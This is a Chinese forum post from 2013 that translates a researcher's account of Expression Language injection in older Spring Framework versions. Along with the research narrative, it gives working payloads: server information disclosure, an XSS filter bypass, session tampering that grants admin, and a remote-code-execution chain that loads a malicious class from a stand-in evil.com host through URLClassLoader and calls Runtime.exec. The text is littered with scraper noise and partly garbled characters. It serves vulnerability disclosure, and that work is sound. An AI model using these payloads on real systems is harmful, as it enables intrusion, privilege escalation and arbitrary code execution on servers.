找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2407|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with& V/ Z* w$ B' v  s$ D- U
Expression Language Injection3 }7 l* M7 ?' J; m
Spring Framework脆弱性—DanAmodio8 C% Q+ d. i5 P+ Y: w* ~
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中8 w  w  z: i% w" R) W9 _
可能会存在风险。
1 l* z- U4 X. c) }+ j在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
+ H  L4 c# b! M* T, JArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
$ v: E% ~2 ~: {% R; Z" F以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
+ `% h+ R: p8 i/ p5 {: f9 \以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
3 q8 x6 W7 s8 P* @  ]版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。, L7 x, V; M' m, j
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但  Q3 Q& A; `: W- ~- {& ]6 U
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
3 h4 {& W! C) R' A: v本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。9 \! W  J1 s# `! E* Y6 r4 L4 [' C
这些版本不支持禁用double EL resolution.
9 X! k: y, n, X5 S这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
! r  u2 R; C0 P' d5 U. v; w0 zEL2.2容器上可能进行远程代码执行。
1 S0 i4 x2 `& n3 W. m2 r这是一个原始信息泄露的攻击例子:
  [: n+ y. j& K0 Q% j" V1 |9 c请求:
" w7 ?7 k" F) S2 z, ettp://vulnerable.com/foo?message=${applicationScope}
6 h7 @3 H* ~1 S5 `; U4 B8 S到达以下内容页面:
" r* j# w2 y6 K8 S. M% L结果将输出一些包含内部服务器信息calsspath 和本地工作目录- \+ r6 C2 }0 f. i
你也可以做一些其他事情,如这样:
) o/ v0 l5 g* @. b${9999+1}9 O( p9 w6 a4 B% }: ^, K! g/ X; G
还可以访问session 对象和beans: Q. ]( b# P5 S2 b
${employee.lastName}4 }; z9 }' p; V5 t3 m
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
& q$ u; Y' A' o4 Z' @$ ~5 ZEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
1 J2 Q* {8 ?- R7 N西,比如XSS.
$ k+ T. a( `! h1 s, i. {' B1 l( Z哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
4 H0 I$ ?! q4 s# }突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
+ W3 N: K4 e# D: @. i0 M# |2 i呢?”
( Z; n( y! v: T8 ]; `因此,我尝试巳缦拢�
7 N" f) z* I* v' xhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
: r+ _3 p1 M9 BP4 S3 E. T& x3 a  }9 Y& S
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返0 ]1 B% k) e4 m$ e7 r
回的文本被插入进了spring:message 标签。4 L9 l; _& h" l
这里是一个最终绕过过滤的实例:: n% g7 s4 r$ [" g
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ% [+ w# [& n& x$ r- D
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
, Q7 u9 R3 J" n. k0 W/ E( j什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
2 B) U+ Q7 d# N$ N; o: e1 M/ N经过一番研究,我学习到EL2.2 增加了方法调用。! z+ q& F) \6 s0 T  a7 N, z$ x
我写了一个快速测试应用程序代码并且检测一些功能: r/ ^8 ~$ p2 v! F+ v# T0 {
${pageContext.request.getSession().setAttribute(“account”,”123456″)}3 j7 N, |# O# |3 Y4 X+ M5 p
${pageContext.request.getSession().setAttribute(“admin”,true)}* |" |3 P! K& U$ c% Y
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的+ X! i! E# m# d! Q
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?, K3 S* [" O/ R0 M) Z5 ~
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
/ k6 `6 O, D. K2 Q) T1 _' [5 t“, 1234)}/ d% p2 e( K; v& K7 f
${“”.getClass().forName(“java.lang.Runtime”)}0 j- m. z2 J2 K1 e8 C" S& J
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不+ O4 E0 X5 Z/ |7 ~
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
" d. p  J: d, _  I$ @& S& z数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有3 n$ P# N! m# Z( G9 q% D- L
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于4 |  ~$ C' \, E' r4 U, h
方法签名invoke(Object obj, Object„ args)
& n6 }7 M4 v/ q* |/ f5 FJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问1 z- v! i" s. J/ Z( ^: F! c
题,以让它可以工作起来。
2 h6 i6 o$ l1 Z8 G7 e9 B漏洞利用:1 e5 Y; Z, N* y1 A' B& W/ x/ t
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我% A2 n* b$ n/ t+ O( o) V$ e% M  }
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
# }$ k, `, o1 t; g7 U这里有一些我试过的失败的用例,为了试图让它工作的用例:- _/ X" j+ |) o, G# w4 o& c
 写文件到文件系统
1 p0 a0 _' G- a/ f 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
# G2 g4 f: o4 h* M* ~我认为这些可以很好的工作,但是我不能找到合适的类来载入。
/ G6 q( i( z3 `5 C9 t* m${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}" d; N+ f" c8 E+ ?
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:- v9 \' \: z1 O0 r+ Y
org.springframework.expression.spel.standard.SpelExpressionParser not found0 m- R6 k* X, R- K
by
$ ~- @1 s  \! L; U  s) |: W- Corg.glassfish.web.javax.servlet.jsp [194].
' h7 x  A& K- X3 Q. p( Y/ s& Z 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
! {+ e* \" [( e, g' e9 C# `$ U 利用反射来创建一个新的Runtime(and watch the world burn)5 f/ p- l% v0 Y# T! K: s% {+ C
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
  p( k/ }" H2 ]6 ](“java.lang.Runtime”)).getDeclaredConstructors()[0])}
; }: l5 b, E* r5 F* }' k${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
/ h5 b) R8 `: ^( n5 R+ O# ^ 使用java.lang.ProcessBuilder. X' ~' x: R( ?( w* M& [- |* h3 D7 {% C
 用表达式语言来评估表达式语言
2 g3 \+ A$ r2 F( pExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.  @: E  l' n9 J. S3 p1 O0 h' S$ w
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
6 t$ w- x1 c( w0 ]1 e“,”".getClass(),null)}
1 j% a  X" d- S) f7 E 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)$ L1 A1 \+ i2 n8 ^# D& I* E- `9 W
我在使用一个空数组通过Method.invoke()时失败了很多次
9 y6 _0 a( d. e3 D* @“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
' [' h0 E! X  N2 D7 {.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A& s. t4 y& m% }, G2 P9 Z: D5 T
rrayList”).newInstance().toArray())8 M( d6 E4 a! U' T2 c
java.lang.IllegalArgumentException: wrong number of arguments3 S" \: Q  l1 @4 i- o2 L
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
8 D3 g. ~; }% T以创建一个恶意class文件并且指向类装载器.$ w  J2 K0 R7 p& y
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:7 z1 c" Z3 \1 W+ m1 e  _4 v. L
public class Malicious {
9 m0 y6 k& h, A) _6 Gpublic Malicious() {
9 m# N: ~6 m* B. T* ktry {
! [2 }" p. j( O5 Rjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac4 i6 j+ Z  V7 }6 R& c  L/ T9 P
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
& m' ]9 W0 F9 X9 j" C; |} catch (Exception e) {
- g* \. @# [& A6 o) ^}
7 y# h) t! Z: [! k: F4 U1 B+ O}) w( F: ]. `  v( h
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
# L, N1 E$ r- \4 Y4 r# m0 |! M话中,因此它可以被使用.9 w  R9 v' a/ r9 O# N) b  U
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName$ q  f4 A3 S. B$ U) H
(“java.util.ArrayList”).newInstance())}
, [$ {* G9 {+ f  L) @9 }# \URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
& |+ \! I0 ]1 O4 T7 N# L一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
" {* l) q" `: @getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个9 {7 e8 H* |- O
我们可以调用的create(string)方法,然后转换对一个URL对象。2 X; Y  _4 y6 l; ~5 e7 i. i4 Y+ p
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
$ p) D0 H+ p( ~! i* tere/malicious/classfile/is/located/”).toURL())}
8 `: S2 @7 J8 }  ]* X然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
7 V, r- {  c2 f% D) g恶意类文件被装载并创建,触发远程代码.
; |9 o* a( Y' F% N${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte. S+ N! a* T( t& c. r$ `' c
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
& x& ]( o3 E$ E# BgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance9 E# M2 V8 e- o
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表